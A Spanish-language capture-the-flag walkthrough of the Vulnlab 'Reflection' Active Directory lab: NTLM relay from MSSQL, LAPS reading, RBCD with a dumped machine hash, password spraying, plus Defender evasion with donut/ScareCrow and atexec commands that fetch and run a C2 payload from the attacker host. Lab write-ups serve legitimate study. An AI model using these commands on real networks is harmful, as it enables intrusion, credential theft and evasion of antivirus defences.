Reflection Vulnlab Chain
En este artículo vamos a resolver el laboratorio Reflection de la plataforma Vulnlab. Para ello haremos cosas tan chulas como un relay de credenciales desde un mssqlclient, o una explotación de rbcd teniendo el machine account quota a cero.
El laboratorio consta de 3 máquinas windows, con las siguientes direcciones ip:
- 10.10.149.149
- 10.10.149.150
- 10.10.149.151
Empezamos con un escaneo de puertos con nmap.
$ nmap -sV -Pn 10.10.149.149-151 -oN scan.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-14 18:10 CEST
Nmap scan report for dc01.reflection.vl (10.10.149.149)
Host is up (0.042s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-08-14 16:11:04Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: reflection.vl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: reflection.vl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap scan report for ms01.reflection.vl (10.10.149.150)
Host is up (0.043s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000
3389/tcp open ms-wbt-server Microsoft Terminal Services
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap scan report for ws01.reflection.vl (10.10.149.151)
Host is up (0.042s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 3 IP addresses (3 hosts up) scanned in 19.08 seconds
Destacar que el DC tiene abierto el SQLServer y el equipo MS01 también.
Configuramos el fichero hosts de la siguiente forma para la resolución de nombres:
10.10.149.149 dc01.reflection.vl
10.10.149.150 ms01.reflection.vl
10.10.149.151 ws01.reflection.vl
Vamos a enumerar los equipos con Netexec.
$ nxc smb 10.10.149.149-151
SMB 10.10.149.150 445 MS01 [*] Windows Server 2022 Build 20348 x64 (name:MS01) (domain:reflection.vl) (signing:False) (SMBv1:False)
SMB 10.10.149.149 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:reflection.vl) (signing:False) (SMBv1:False)
SMB 10.10.149.151 445 WS01 [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS01) (domain:reflection.vl) (signing:False) (SMBv1:False)
Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
Ya podemos ver que ninguna de las 3 máquinas tiene el smb firmado, lo cual aprovecharemos más adelante.
Con smbclient vamos a ver si algún equipo permite listar los recursos compartidos sin proporcionar credenciales.
$ smbclient -L \\dc01.reflection.vl
Password for [WORKGROUP\root]:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
SMB1 disabled -- no workgroup available
$ smbclient -L \\ms01.reflection.vl
Password for [WORKGROUP\root]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
staging Disk staging environment
SMB1 disabled -- no workgroup available
$ smbclient -L \\ws01.reflection.vl
Password for [WORKGROUP\root]:
session setup failed: NT_STATUS_ACCESS_DENIED
Y vemos que el único equipo que lo permite es el ms01.
Nos conectamos al recurso compartido staging, descargamos el fichero que contiene y vemos que tiene credenciales.
$ smbclient \\\\ms01.reflection.vl\\staging
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jun 7 19:42:48 2023
.. D 0 Wed Jun 7 19:41:25 2023
staging_db.conf A 50 Thu Jun 8 13:21:49 2023
6261245 blocks of size 4096. 1781583 blocks available
smb: \> get staging_db.conf
getting file \staging_db.conf of size 50 as staging_db.conf (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
$ cat staging_db.conf
user=web_staging
password=Washroom510
db=staging
Con esas credenciales podemos conectarnos al equipo ms01.
$ mssqlclient.py web_staging:Washroom510@ms01.reflection.vl
Impacket v0.12.0.dev1+20240604.210053.9734a1af - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(MS01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(MS01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (web_staging guest@master)>
Listamos las bases de datos, luego elejimos la bd staging, listamos las tablas y luego los datos de la tabla users.
$ SQL (web_staging guest@master)> SELECT name FROM master.dbo.sysdatabases;
name
-------
master
tempdb
model
msdb
staging
$ SQL (web_staging guest@master)> use staging;
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: staging
[*] INFO(MS01\SQLEXPRESS): Line 1: Changed database context to 'staging'.
SQL (web_staging dbo@staging)> SELECT * FROM staging.INFORMATION_SCHEMA.TABLES;
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
------------- ------------ ---------- ----------
staging dbo users b'BASE TABLE'
$ SQL (web_staging dbo@staging)> select * from users;
id username password
-- -------- -------------
1 b'dev01' b'Initial123'
2 b'dev02' b'Initial123'
Probamos a habilitar xp_cmdshell pero nos dice que no tenemos permiso.
$ SQL (web_staging dbo@staging)> enable_xp_cmdshell
ERROR: Line 1: You do not have permission to run the RECONFIGURE statement.
Con xp_dirtree tampoco nos deja listar contenido de la máquina. Pero podemos realizar una petición a nuestra máquina, y ver si capturamos el hash netntlmv2 para intentar crackearlo.
$ Responder.py -I tun0
$ xp_dirtree \\10.8.2.14\test
Y recibimos el hash del usuario svc_web_staging. En este punto intenté crackearlo con hashcat y el rockyou pero por lo visto es una contraseña robusta y no fué posible.
Ya que podemos hacer una petición smb a nuestra máquina, y aprovechando que ninguna de las 3 máquinas del laboratorio tiene el smb firmado, podemos hacer un relay para autenticarnos contra el dc01 con el hash que obtenemos.
Para ello utilizamos ntlmrelayx para que al recibir la autenticación de ms01 nos cree un proxy socks con esas credenciales que podremos utilizar para loguearnos en el dc01 a través de proxychains.
Creamos un fichero targets.txt con la ip del dc01 ya que este será nuestro objetivo y ejecutamos ntlmrelayx con las siguientes opciones:
$ ntlmrelayx -tf targets.txt -smb2support -socks
Y luego desde el mssqlclient volvemos a ejecutar el comando xp_dirtree contra nuestra máquina.
$ xp_dirtree \\10.8.2.14\test
Y vemos que nos dice que se ha producido la autenticación en dc01 y que el proxy socks está listo.
[*] Authenticating against smb://10.10.149.149 as REFLECTION/SVC_WEB_STAGING SUCCEED
[*] SOCKS: Adding REFLECTION/SVC_WEB_STAGING@10.10.149.149(445) to active SOCKS connection. Enjoy
Ahora viene lo interesante, podemos utilizar proxychains para listar los recursos compartidos del dc01, utilizando el reenvío de credenciales y sin proporcionar credenciales, ya que al utilizar el proxy socks que hemos creado, el comando se ejecutará en el contexto del usuario svc_web_staging, aunque no pongamos ninguna contraseña.
$ proxychains -q smbclient -L \\10.10.149.149 -U reflection/svc_web_staging
Password for [REFLECTION\svc_web_staging]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
prod Disk
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available
Nos conectamos al recurso compartido prod y descargamos el fichero, que contiene nuevas credenciales.
$ proxychains -q smbclient \\\\10.10.191.5\\prod -U reflection/svc_web_staging
user=web_prod
password=Trib****
db=prod
Al igual que hemos hecho antes, listamos las bases de datos, luego las tablas y luego los datos de la tabla users. Y obtenemos nuevas credenciales.
abbie.smith:CMe1x***
dorothy.rose:hC_fny3*****
Con netexec comprobamos que las credenciales son válidas.
$ nxc smb 10.10.149.149-151 -u 'abbie.smith' -p 'CMe1x*********'
nxc smb 10.10.149.149-151 -u 'dorothy.rose' -p 'hC_fny3*******'
Ya podemos utilizar bloodhound para buscar vulnerabilidades utilizando estas credenciales.
$ bloodhound.py --zip -c All -d "reflection.vl" -u "abbie.smith" -p "CMe1x*********" -dc "dc01.reflection.vl" -ns 10.10.149.149
Y vemos con bloodhound que el usuario abbie.smith tiene permisos de GenericAll sobre la máquina MS01.
Bloodhound nos sugiere utilizar el ataque Resource Based Constrained Delegation, pero vemos que el machine account quota está a cero, con lo cual no vamos a poder crear ninguna cuenta de máquina con nuestro usuario.
nxc ldap 10.10.149.149 -u 'abbie.smith' -p 'CMe1x*********' -M maq
Enumerando el dominio con bloodhound busco por LAPS para ver si está implementado en la máquina y veo que si. Y como tenemos permisos de GenericAll podemos ver la contraseña, con nxc por ejemplo.
$ nxc ldap 10.10.149.149 -u 'abbie.smith' -p 'CMe1x*********' -M laps
Ahora que ya tenemos credenciales de administrador vamos a utilizar Havoc para recibir las conexiones, y luego utilizaremos donut y ScareCrow para bypassear el defender.
Creamos un listener en Havoc del tipo https en el puerto 443.
Y luego creamos un agente que se conecte al listener, en este caso en formato exe.
Ahora para evadir el defender lo hacemos así:
$ ./donut -i payload.exe -a ax64 -o payload.bin
$ ./ScareCrow -I /workspace/Chains/Reflection/payload.bin --domain microsoft.com
Estos comandos nos generan un archivo Outlook.exe (en este caso) que será el que utilizaremos para que al ejecutarlo en las máquinas nos devuelva una conexión a nuestro C2 Havoc.
A continuación ejecutamos el siguiente comando para que descargue el archivo Outlook.exe de nuestra máquina y luego lo ejecute.
$ atexec.py 'Administrator':'H447.*********'@'ms01.reflection.vl' 'powershell -c "iwr http://10.8.2.14/Outlook.exe -o C:\programdata\Outlook.exe;C:\programdata\Outlook.exe"'
Y recibimos la conexión en Havoc.
Ya podemos leer la primera flag ejecutando powershell cat C:\Users\Administrator\Desktop\flag.txt
Seguidamente vamos a buscar credenciales en el equipo que nos puedan servir para movimientos laterales, y para ello utilizaremos SharpDPAPI desde el propio Havoc con la opción dotnet inline-execution` que lo ejecutará en memoria.
dotnet inline-execute /workspace/Chains/Reflection/SharpDPAPI.exe machinetriage
Y obtenemos nuevas credenciales:
REFLECTION\Georgia.Price:DBl+5M****
Buscamos el usuario en bloodhound y vemos que tiene GenericAll sobre la máquina WS01.
En esta ocasión la máquina no tiene LAPS, con lo cual teniendo el machine account quota a cero y sin LAPS se complica un poco la cosa.
Vamos a ejecutar secretsdump para ver si encontramos una cuenta de máquina, de la cual podamos utilizar el hash para el ataque rbcd (Resource Based Constrained Delegation).
$ secretsdump 'MS01/Administrator':'H447.*********'@MS01.reflection.vl
Con esto hemos conseguido una cuenta de máquina (MS01$) y su hash, todo lo que necesitábamos para el ataque.
REFLECTION\MS01$:aad3b435b51404eeaad3b435b51404ee:a9ea56d5339b8c13fdb1d89a1661d0c5
$ rbcd.py -delegate-from 'MS01$' -delegate-to 'WS01$' -dc-ip "10.10.158.229" -action write "reflection"/"Georgia.Price":"DBl+5M********"
Vemos que nos dice,
[*] Accounts allowed to act on behalf of other identity:
[*] MS01$ (S-1-5-21-3375389138-1770791787-1490854311-1104)
O sea que la cuenta MS01 ahora tiene permitido actuar en nombre de otra cuenta en WS01.
Podemos pedir un TGS o ticket de servicio impersonando al administrador de WS01.
$ getST.py -spn CIFS/"WS01.reflection.vl" -impersonate Administrator -dc-ip "10.10.158.229" "reflection"/"MS01$" -hashes :a9ea56d5339b8c13fdb1d89a1661d0c5
Con este comando pedimos un TGS con el spn CIFS ya que queremos acceder al sistema de ficheros, impersonando al administrador, y utilizando el hash de la cuenta MS01$.
Ahora asignamos el ticket a la variable de entorno KRB5CCNAME para poder utilizarlo en linux.
$ export KRB5CCNAME=$PWD/Administrator@CIFS_WS01.reflection.vl@REFLECTION.VL.ccache
Como tenemos importado el ticket del administrador de WS01 podemos utilizar secretsdump para volcar los hashes.
$ secretsdump -k -no-pass 'Administrator'@'WS01.reflection.vl'
Y conseguimos nuevas credenciales. Además como tenemos el hash del administrador podemos conectar la máquina a nuestro C2 Havoc de la misma forma que antes.
reflection.vl\Rhys.Garner:knh1g***
$ atexec.py -hashes :a29542cb2707bf6d6c1d2c9311b0ff02 'WS01/Administrator'@'10.10.158.231' 'powershell.exe -c "iwr http://10.8.2.14/Outlook.exe -o C:\programdata\Outlook.exe;C:\programdata\Outlook.exe"' -dc-ip 10.10.158.229
Y nos llega la conexión a nuestro Havoc. Ya podemos leer la segunda flag.
Ahora vamos a por el controlador de dominio. Sacamos una lista de usuarios:
$ nxc smb 10.10.158.229 -u Rhys.Garner -p 'knh1g********' --users
Y hacemos spraying de la contraseña.
$ nxc smb 10.10.158.229 -u users_clean.txt -p 'knh1g********' --continue-on-succes
SMB 10.10.158.229 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:reflection.vl) (signing:False) (SMBv1:False)
SMB 10.10.158.229 445 DC01 [-] reflection.vl\Administrator:knh1g******** STATUS_LOGON_FAILURE
SMB 10.10.158.229 445 DC01 [-] reflection.vl\Guest:knh1g******** STATUS_LOGON_FAILURE
SMB 10.10.158.229 445 DC01 [-] reflection.vl\krbtgt:knh1g******** STATUS_LOGON_FAILURE
SMB 10.10.158.229 445 DC01 [-] reflection.vl\labadm:knh1g******** STATUS_LOGON_FAILURE
SMB 10.10.158.229 445 DC01 [-] reflection.vl\Georgia.Price:knh1g******** STATUS_LOGON_FAILURE
SMB 10.10.158.229 445 DC01 [-] reflection.vl\Michael.Wilkinson:knh1g******** STATUS_LOGON_FAILURE
SMB 10.10.158.229 445 DC01 [-] reflection.vl\Bethany.Wright:knh1g******** STATUS_LOGON_FAILURE
SMB 10.10.158.229 445 DC01 [-] reflection.vl\Craig.Williams:knh1g******** STATUS_LOGON_FAILURE
SMB 10.10.158.229 445 DC01 [-] reflection.vl\Abbie.Smith:knh1g******** STATUS_LOGON_FAILURE
SMB 10.10.158.229 445 DC01 [-] reflection.vl\Dorothy.Rose:knh1g******** STATUS_LOGON_FAILURE
SMB 10.10.158.229 445 DC01 [-] reflection.vl\Dylan.Marsh:knh1g******** STATUS_LOGON_FAILURE
SMB 10.10.158.229 445 DC01 [+] reflection.vl\Rhys.Garner:knh1g********
SMB 10.10.158.229 445 DC01 [-] reflection.vl\Jeremy.Marshall:knh1g******** STATUS_LOGON_FAILURE
SMB 10.10.158.229 445 DC01 [-] reflection.vl\Deborah.Collins:knh1g******** STATUS_LOGON_FAILURE
SMB 10.10.158.229 445 DC01 [-] reflection.vl\svc_web_prod:knh1g******** STATUS_LOGON_FAILURE
SMB 10.10.158.229 445 DC01 [-] reflection.vl\svc_web_staging:knh1g******** STATUS_LOGON_FAILURE
SMB 10.10.158.229 445 DC01 [+] reflection.vl\dom_rgarner:knh1g******** (admin)
Y vemos que la cuenta dom_rgarner tiene la misma contraseña, y además es una cuenta que seguramente utiliza el mismo usuario pero con privilegios de domain admin.
Con lo cual podemos utilizar atexec como antes para conectar el DC a nuestro Havoc.
$ atexec.py 'reflection.vl/dom_rgarner':'knh1g********'@'dc01.reflection.vl' 'powershell -c "iwr http://10.8.2.14/Outlook.exe -o C:\programdata\Outlook.exe;C:\programdata\Outlook.exe"' -dc-ip 10.10.158.229
Recibimos la conexión en nuestro Havoc y leemos la última flag.